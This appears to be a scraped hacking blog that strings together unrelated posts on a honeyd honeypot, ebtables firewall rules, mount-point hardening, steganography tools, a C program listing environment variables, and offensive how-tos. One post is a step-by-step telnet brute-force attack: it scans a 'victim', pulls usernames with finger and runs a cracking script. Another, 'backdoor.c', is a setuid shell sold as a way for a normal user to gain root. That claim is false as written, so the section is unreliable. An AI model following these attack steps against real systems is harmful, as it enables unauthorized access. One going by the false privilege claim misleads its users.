Install Honeyd on Ubuntu

                       
Firstly, open up your terminal. Then update your package listings as shown below:

Eva@Vishal~$ sudo apt-get update

Next, install honeyd and its dependencies using apt-get.

Eva@Vishal~$ sudo apt-get install honeyd honeyd-common

The package “honeyd” contains the actual honeyd service, and “honeyd-common” contains various scripts and extra components that will emulate all of the port services on the virtual honeypots, such as SSH, HTTP, rsh, etc.
My configuration files in /etc/honeypot/

1:honeyd.conf

create default
set default default tcp action block
set default default udp action block
set default default icmp action block

create windows
set windows personality "Microsoft Windows XP Professional SP1"
set windows default tcp action reset
add windows tcp port 135 open
add windows tcp port 139 open
add windows tcp port 445 open

set windows ethernet "00:00:24:ab:8c:12"
dhcp windows on eth1

2:fakemachine.conf

create windows
set windows personality "Microsoft Windows XP Professional"
add windows tcp port 80 "sh scripts/web.sh"
add windows tcp port 25 "perl scripts/snmp/fake-snmp.pl"
add windows tcp port 23 "perl scripts/telnet/faketelnet.pl"
add windows tcp port 139 open
add windows tcp port 137 open
add windows udp port 137 open
add windows udp port 135 open
set windows default tcp action reset
set windows default udp action reset
set windows ethernet "00:00:24:ab:8c:12"
bind 192.168.2.50 windows


To load the honeypot(s) into honeyd and deploy them, simply enter the appropriate commands.
Eva@Vishal~$ honeyd -d -f honeypots.conf

The -d parameter forces honeyd not to run in the background as a daemon and dumps any and all output information into the terminal. If you wish to log the data  into a file, simply use the -l option.
Eva@Vishal~$ honeyd -d -f honeypots.conf -l log.out

Starting Nmap 5.21 ( http://nmap.org ) at 2012-05-26 21:48 IDT

Interesting ports on 192.168.1.50:

PORT     STATE  SERVICE

23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        http
.

.
.
Now with some Magic commands you can create fakemachines on all empty ip's.
Well you can use this technique to capture ipv4 address , using farpd with honeyd.
Remember No one will be able to connect to your network if you run honeyd on whole network using following command:
honeyd -d -i wlan0 -f /etc/honeypot/myfakemachine.conf 192.168.2.0/24 &
with farpd actively running. 
I things thats enough i have already told you just try to figure out by your self and Go and hack Your network before some other guy hack it.

Have Any Question feel free to Comment Below:-)

HoneyD Network Architecture

As can be seen, the design has three distinct network segments:

• Publicly route-able IPs
• Internal network for honeypot hosts
• Virtual network for honeyd guest systems. These IP addresses sit on loopback interface on the host, with a static route on the firewall to pass all virtual traffic to the honeyd host.

Using a perimeter firewall with NAT/PAT capabilities allows easy switching between emulated systems and services if your public IP resources are limited; a large network of guests can be configured in advance and left static, then a quick firewall change is all that is required to expose different systems to the world.

Additionally, as much as honeypot systems are designed to be compromised and collect information of malicious attacks (or perhaps more correctly, because of this) , low-interaction systems like honeyd is designed to avoid full compromise. If something goes wrong and the host system gets fully compromised, a (sufficiently configured) perimeter firewall provides some control of outgoing traffic, limiting the attackers options for using the honeypot sensor to attack other systems.

HoneyD -- A Virtual Honeypot

Introduction
Welcome, fellow hackers! This time, I will review a very nice hacking tool that I really find interesting: honeyd (pronounced “honey-dee” or “honey-daemon”). It is a powerful virtual honeypot tool written by Niels Provos and released as open source under the GNU General Public License, as part of the Honeynet project. It runs on GNU/Linux distributions and *BSD’s.

To anyone who doesn’t know, a honeypot is a public or private computer that is intentionally left insecure, unpatched, without an antivirus or firewall, etc. which actually encourages malicious hackers to attack it. This is a perfect tool for catching potential black-hat network intruders or spammers and monitoring their behavior, or even giving hackers a huge playground to explore andput their networking skills to the test without disrupting others.

If you have the cash, you can even set up multiple honeypots in your home or workplace, which act as convincing “decoy machines” that can help protect your legitimate computers from crackers. Networks like these are called honeynets. Now, let’s back up a bit. Note the keywords in the first sentence: If you have the cash. Setting up a honeynet as a hobbyist can be hard, space-wise and money-wise, but honeyd solves both of these issues completely with a quite revolutionary technology: virtual honeypots.

HoneyD is a Virtual Honeypot

Your typical, run-of-the-mill honeypots are made up of physical computers interlinked together, and finally, to the internet, should you wish. While it is foolproof, works effectively, and makes logging and forensics simple, it can be very costly to set up for a hobbyist, as it requires them to buy many large servers,  baby them, and run up the home electric bill. Remember that in most cases, more = better. There is also the additional risk of a malware infection leaking out of a honeypot onto a legitimate computer and destroying it.

The best way to solve this problem virtual honeypot, which is basically a daemon running on one or a several computers that generates virtual honeypot computers and places them on the network. Instead of having to buy and set up multiple physical computers, you now only need one computer which can generate as many virtual honeypots as you wish.

honeyd is an open source application that tries to achieve that goal. Each and every honeypot is defined as a config file that you load and deploy. You can define virtually any aspect of these honeypots with a simple text editor, such as its operating system, ports, and more. Through the “honeyd-common” package, found in most Debian/*buntu repositories, honeyd can emulate a whole slew of port services, such as HTTP, FTP, telnet, rsh, SMTP, and plenty more.

When would a virtual honeypot be used in the real world? Here is an example scenario: a small company has three servers full of important data that it needs to protect vigilantly, as it cannot risk a malicious hacker break-in. All of the servers have an IDS (intrusion detection system) installed. If one of the servers is running honeyd, it will appear to any attackers that there are hundreds of computers on the network, when really there are only three.

The attacker will have to do much more research and perhaps think twice before hacking, for if they make one mistake and attack a honeypot, then the IDS will have them caught red-handed. Their IP address and attack methods will be logged, their port listings and network traffic recorded, and the timeframes noted. Remember that all of the attack’s details can be accessed and observed in real-time from the three legitimate servers running honeyd. It truly is the perfect trap, don’t you think?


  Feature List

• Manipulates TCP/IP packets to create the illusion that there is a host on the network.
• At the time of this writing, honeyd supports up to 65,536 hosts at once.
• Convincingly emulates a plethora of port services.
• Can impersonate up to a thousand different operating systems.
• User can define unique virtual hosts using simple config files.
• Lets you catch spammers and network intruders, as well as observe the their behaviors.
• Safe and isolated from the true host computer(s).

Crack Telnet Password Using Brute Force

First Install Zenmap on your ubuntu machine:
sudo apt-get install zenmap

Now open your terminal and use following command to check open ports on victim's system
nmapfe
now in gui prompt put the ip address of victim in target box.

Output(sample):

Starting Nmap 5.21 ( http://nmap.org ) at 2012-04-11 07:20 IST
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 07:20
Scanning 192.168.2.10 [1 port]
Completed ARP Ping Scan at 07:20, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:20
Completed Parallel DNS resolution of 1 host. at 07:20, 0.09s elapsed
Initiating SYN Stealth Scan at 07:20
Scanning 192.168.2.10 [1000 ports]
Discovered open port 445/tcp on 192.168.2.10
Discovered open port 80/tcp on 192.168.2.10
Discovered open port 23/tcp on 192.168.2.10
Discovered open port 139/tcp on 192.168.2.10
Completed SYN Stealth Scan at 07:20, 2.70s elapsed (1000 total ports)
Initiating Service scan at 07:20
Scanning 4 services on 192.168.2.10
Completed Service scan at 07:20, 11.04s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.2.10
Retrying OS detection (try #2) against 192.168.2.10
Retrying OS detection (try #3) against 192.168.2.10
Retrying OS detection (try #4) against 192.168.2.10
Retrying OS detection (try #5) against 192.168.2.10
NSE: Script scanning 192.168.2.10.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 07:21
Completed NSE at 07:21, 0.08s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.2.10
Host is up (0.0021s latency).
Not shown: 996 closed ports
PORT    STATE SERVICE     VERSION
23/tcp  open  telnet      Linux telnetd
80/tcp  open  http        Apache httpd 2.2.17 ((Ubuntu))
|_html-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 00:24:2B:DB:74:9F (Hon Hai Precision Ind.Co.)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=5.21%D=4/11%OT=23%CT=1%CU=35230%PV=Y%DS=1%DC=D%G=Y%M=00242B%TM=4F
OS:84E390%P=i686-pc-linux-gnu)SEQ(SP=CA%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST
OS:11NW6%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)EC
OS:N(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M5B4ST11NW6%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)


Uptime guess: 0.011 days (since Wed Apr 11 07:05:17 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux


Host script results:
| nbstat:  
|   NetBIOS name: UMESH-VOSTRO151, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|   Names
|     UMESH-VOSTRO151<00>  Flags: <unique><active>
|     UMESH-VOSTRO151<03>  Flags: <unique><active>
|     UMESH-VOSTRO151<20>  Flags: <unique><active>
|     WORKGROUP<1e>        Flags: <group><active>
|_    WORKGROUP<00>        Flags: <group><active>
| smb-os-discovery:  
|   OS: Unix (Samba 3.5.8)
|   Name: Unknown\Unknown
|_  System time: 2012-04-11 07:21:12 UTC+5.5
|_smbv2-enabled: Server doesn't support SMBv2 protocol


HOP RTT     ADDRESS
1   2.10 ms 192.168.2.10


Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.00 seconds
           Raw packets sent: 1134 (53.704KB) | Rcvd: 1076 (46.608KB)

Now Download following files and extract them:

1:telnet_crack.pl

2:word_polish

Open a new Terminal and browse to extracted files and put following command in it:

To get the username use:

finger@ 192.168.2.10 (ipaddress of victim)
output:

umesh root

Now To brute-force run perl script with given parameters.

perl Telnet_Crack.pl -h 192.168.2.10 -u umesh -P polish

output:

TRYING : USERNAME = XXXX PASSWORD = password

ATTEMPTING CONNECTION TO 192.168.2.10.

OK ... CONNECTED!!!

it will take time and it depends on the strength of password that how long you have to wait to get the result.

MAC Filtering And Bridging Firewalls in Linux(ubuntu)

The ebtables program is a filtering tool for a Linux-based bridging firewall. It enables transparent filtering of network traffic passing through a Linux bridge. The filtering possibilities are limited to link layer filtering and some basic filtering on higher network layers. Advanced logging, MAC DNAT/SNAT and brouter facilities are also included.
The ebtables tool can be combined with the other Linux filtering tools (iptables, ip6tables and arptables) to make a bridging firewall that is also capable of filtering these higher network layers. This is enabled through the bridge-netfilter architecture which is a part of the standard Linux kernel.

Basic filtering configuration:

ebtables -P FORWARD DROP
ebtables -A FORWARD -p IPv4 -j ACCEPT
ebtables -A FORWARD -p ARP -j ACCEPT
ebtables -A FORWARD -p LENGTH -j ACCEPT
ebtables -A FORWARD --log-level info --log-ip --log-prefix EBFW
ebtables -P INPUT DROP
ebtables -A INPUT -p IPv4 -j ACCEPT
ebtables -A INPUT -p ARP -j ACCEPT
ebtables -A INPUT -p LENGTH -j ACCEPT
ebtables -A INPUT --log-level info --log-ip --log-prefix EBFW
ebtables -P OUTPUT DROP
ebtables -A OUTPUT -p IPv4 -j ACCEPT
ebtables -A OUTPUT -p ARP -j ACCEPT
ebtables -A OUTPUT -p LENGTH -j ACCEPT
ebtables -A OUTPUT --log-level info --log-ip --log-arp --log-prefix EBFW -j DROP

This is a basic filter configuration which will only let frames made by the protocols IP version 4 and ARP through. Also, the network has some old machines that use the protocol field of the Ethernet frame as a length field (they use the Ethernet 802.2 or 802.3 protocol). There was no reason not to let those machines through, more precisely: there was a reason to let them through ;-). So, those frames, with protocol LENGTH denoting that it's really a length field, are accepted. Of course one could filter on the MAC addresses of those old machines so no other machine can use the old Ethernet 802.2 or 802.3 protocol. All other frames get logged and dropped. This logging consists of the protocol number, the MAC addresses, the ip/arp info (if it's an IP/ARP packet of course) and the in and out interfaces.
Important note:
If you don't absolutely need to let those old machines (using the 802.2 or 803.2 Ethernet protocol) through the bridge, don't let them. Opening it up with the ebtables -A FORWARD -p LENGTH -j ACCEPT actually breaches security if you're filtering IP bridge traffic with iptables: IP traffic passing the bridge using the 802.2 or 802.3 Ethernet protocol won't get filtered by iptables (it's on the todo list).

Associate IP addresses to MAC addresse:

ebtables -A FORWARD -p IPv4 --ip-src 172.16.1.4 -s ! 00:11:22:33:44:55 -j DROP

This is an anti-spoofing filter rule. It says that the computer using IP address 172.16.1.4 has to be the one that uses ethernet card 00:11:22:33:44:55 to send this traffic.
Note: this can also be done using iptables. In iptables it would look like this:

iptables -A FORWARD -s 172.16.1.4 -m mac --mac-source ! 00:11:22:33:44:55 -j DROP

The difference is that the frame will be dropped earlier if the ebtables rule is used, because ebtables inspects the frame before iptables does. Also note the subtle difference in what is considered the default type for a source address: an IP address in iptables, a MAC address in ebtables.
If you have many such rules, you can also use the among match to speed up the filtering.

ebtables -N MATCHING-MAC-IP-PAIR
ebtables -A FORWARD -p IPv4 --among-dst 00:11:22:33:44:55=172.16.1.4,00:11:33:44:22:55=172.16.1.5 \
-j MATCHING-MAC-IP-PAIR

We first make a new user-defined chain MATCHING-MAC-IP-PAIR and we send all traffic with matching MAC-IP source address pair to that chain, using the among match. The filtering in the MATCHING-MAC-IP-PAIR chain can then assume that the MAC-IP source address pairs are correct.

Making a brouter:

Here is an example setup for a brouter with the following situation: br0 with ports eth0 and eth1.

ifconfig br0 0.0.0.0
ifconfig eth0 172.16.1.1 netmask 255.255.255.0
ifconfig eth1 172.16.2.1 netmask 255.255.255.0
ebtables -t broute -A BROUTING -p ipv4 -i eth0 --ip-dst 172.16.1.1 -j DROP
ebtables -t broute -A BROUTING -p ipv4 -i eth1 --ip-dst 172.16.2.1 -j DROP
ebtables -t broute -A BROUTING -p arp -i eth0 -d $MAC_OF_ETH0 -j DROP
ebtables -t broute -A BROUTING -p arp -i eth1 -d $MAC_OF_ETH1 -j DROP
ebtables -t broute -A BROUTING -p arp -i eth0 --arp-ip-dst 172.16.1.1 -j DROP
ebtables -t broute -A BROUTING -p arp -i eth1 --arp-ip-dst 172.16.2.1 -j DROP

As mentioned in the man pages, the DROP target in the BROUTING chain actually broutes the frame. This means the bridge code won't touch the frame and it is sent up to the higher network layers. This results in the frame entering the box as if it didn't arrive on a bridge port but on the device itself.

Only forward IPv4 for a specific MAC address:

ebtables -A FORWARD -s 00:11:22:33:44:55 -p IPV4 -j ACCEPT
ebtables -A FORWARD -s 00:11:22:33:44:55 -j DROP

Reference:Here

Hacker’s Diary 1

Secure Mount Point

WassUp guys !!…Well I am studying too many things about network security and Operating system so I decided to share

that with everyone .So the main aim of my hacker’s diary series is to tell people ways to remain more secure and surf internet freely without any fear of getting attacked .And everyone know what is networking …its all computer coming together and sharing things…with some sharing…and some stealing..  this is one of my own definition but still I don’t have any copy write on that .

so lets start with hard drive. We all known most of our data is stored in our hard drives and it is the primary way of interacting with a unix (or window) machine.So it is desirable to limit what a intruder (I) can access () if he gains access on your computer.

So one easy way of doing that is  the use of restrictive mount point.

A mount option is a flag that controls how the filesystem may be accessed. It is passed to the operating system kernel's code when the filesystem is brought online. Mount options can be used to prevent files from being interpreted as device nodes, to disallow binaries from being executed, and to disallow the SUID bit from taking affect (by using the nodev, noexec, and nosuid flags). Filesystems can also be mounted read-only with the ro option.

These options are specified from the command line by running mount with the -o flag. For example, if you have a separate partition for /tmp that is on the third partition of your first IDE hard disk, you can mount with the nodev, noexec, and nosuid flags, which are enabled by running the following command:

# mount -o nodev,noexec,nosuid /dev/hda3 /tmp

An equivalent entry in your /etc/fstab would look something like this:

/dev/hda3 /tmp ext3 defaults,nodev,noexec,nosuid 1 2

There are a number of ways that an attacker can still circumvent these mount restrictions. For example, the noexec option on Linux can be bypassed by using /lib/ld-linux.so to execute binaries residing on such filesystems. At first glance, you'd think that this can be remedied by making ld-linux.so nonexecutable, but this would render all dynamically linked binaries unexecutable. So, unless all of the programs you rely on are statically linked (they're probably not), then the noexec option is of little use in Linux. In addition, an attacker who has already gained root privileges will not be significantly hampered by filesystems mounted with special options, since these can often be remounted with the -o remount option. But by using mount flags, you can easily limit the possible attacks available to a hostile user before he gains root privileges

.

Printing the Execution Environment in C language

Enumerating all the variables in the environment is a little trickier.To do this, you
must access a special global variable named environ, which is defined in the GNU C
library.This variable, of type char**, is a NULL-terminated array of pointers to character
strings. Each string contains one environment variable, in the form VARIABLE=value.


#include<stdio.h>
extern char** environ;
int main()
{
char** var;
for(var = environ; *var !=NULL; ++var)
printf("%s\n",*var);
return 0;
}


output:            

Now you know each and every environment variable value ,you can use them to hack into system...try it !

How to Give normal user superuser privilege?..Linux Hack

#include<unistd.h>
#include<fcntl.h>                                              
main()
{
setuid(0);
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
return 0;
}


save this file as backdoor.c and compile it then use its output file to get superuser privilege ..
thats it now run the output file from normal user account..
Vishal@Eva$./b      (suppose the name of output file is b)
$
now check your uid
$ id -u


0
Output "0" confirms that you have superuser privilege now .

Command line Applications to Hide text into images

Ever find yourself with too many passwords to remember and no idea where to keep them so that only you can find the password list? Creating a password.txt file in your root directory is out of the question, as is a password-protected OpenOffice.org file. A piece of paper hidden somewhere is not a good idea, because after you forget where did you put it, someone else will find it and missuse it. Instead of these approaches, consider using steganography, a method for hiding sensitive information inside some other object, typically a JPEG picture or a sound file.

With steganography, a plain text file is merged with a picture or sound file. The resulting file looks and sounds the same -- only the size of the file is slightly changed. For extra security, you can encrypt the text file before you merge it.

Here's a look at some useful tools that you can use to hide and unveil sensitive information inside an object. Most of these programs and tools are available in package repositories for different Linux distributions.

OutGuess

OutGuess is console-based universal steganographic tool that can hide information inside picture objects. OutGuess can be used on Linux, *BSD, Solaris, AIX, HP-UX, Mac OS X, and Windows.

Suppose I want to securely send a coworker a root password for a production server. I can start by putting the password in a pass.txt file, then encrypt it with a secret key ("summer" -- shh, don't tell anyone) and mix the encrypted version with an image called grill.jpg. OutGuess can do that with one command:

~$ outguess -k summer -d pass.txt grill.jpg summer-grill.jpg
output of $outguess -k suffer -d flag.txt 1.jpg suffer-1.jpg:
Reading 1.jpg....
JPEG compression quality set to 75
Extracting usable bits:   46389 bits
Correctable message size: 20587 bits, 44.38%
Encoded 'flag.txt': 368 bits, 46 bytes
Finding best embedding...
    0:   198(49.5%)[53.8%], bias   179(0.90), saved:    -1, total:  0.43%
    4:   183(45.8%)[49.7%], bias   175(0.96), saved:     0, total:  0.39%
   88:   189(47.2%)[51.4%], bias   164(0.87), saved:     0, total:  0.41%
  241:   191(47.8%)[51.9%], bias   159(0.83), saved:     0, total:  0.41%
241, 350: Embedding data: 368 in 46389
Bits embedded: 400, changed: 191(47.8%)[51.9%], bias: 159, tot: 45997, skip: 45597
Foiling statistics: corrections: 85, failed: 0, offset: 22.923077 +- 41.335624
Total bits changed: 350 (change 191 + bias 159)
Storing bitmap into data...
Writing suffer-1.jpg....

You don't need to use the -k option to encrypt the sensitive data with a secret key. If you leave it off, however, anyone who knows there's a file buried in the image can extract the output file.

Now I have an image named summer-grill.jpg that holds my production server's root password, and I can mail it to my coworker. Anyone who sees the picture won't notice anything strange, since the data in the image object is not visible to the human eye.

When my coworker receives the picture, he needs to extract the information from the file. As long as he knows the secret key I used for the encryption, he can run the command:

~$ outguess -k summer -r summer-grill.jpg pass.txt
example:
vishal@Eva:~/research$ outguess -k suffer -r suffer-1.jpg pass.txtReading suffer-1.jpg....
Extracting usable bits:   46389 bits
Steg retrieve: seed: 241, len: 46


If you don't specify the -k option and provide the key, OutGuess will extract the pass.txt file, but it won't be readable.

Steghide

Steghide is another program you can use to hide sensitive data inside image and audio files. The default encryption algorithm is Rijndael with a key size of 128 bits, which is basically AES (Advanced Encryption Standard), but you can choose from many other encryption algorithms as well. Steghide runs under both Linux and Windows.

Let's use the same scenario from our previous example. The equivalent Steghide command is:

~$ steghide embed -cf grill.jpg -sf summer-grill.jpg -ef pass.txt -p summer


example:
vishal@Eva:~/research$ steghide embed -cf 1.jpg -sf 123.jpg -ef flag.txt -p summer
embedding "flag.txt" in "1.jpg"... done
writing stego file "123.jpg"... done


To extract the pass.txt file from the summer-grill.jpg picture, use this Steghide command:

~$ steghide extract -sf summer-grill.jpg
example:
vishal@Eva:~/research$ steghide extract -sf 123.jpg
Enter passphrase:
wrote extracted data to "flag.txt".



You'll be asked for a password, and the utility will extract the pass.txt only if your password (secret key) is correct. Note that when extracting we didn't specify any output file. That's because Steghide automatically knows what the file name was that was inserted and extracts the file with the same name.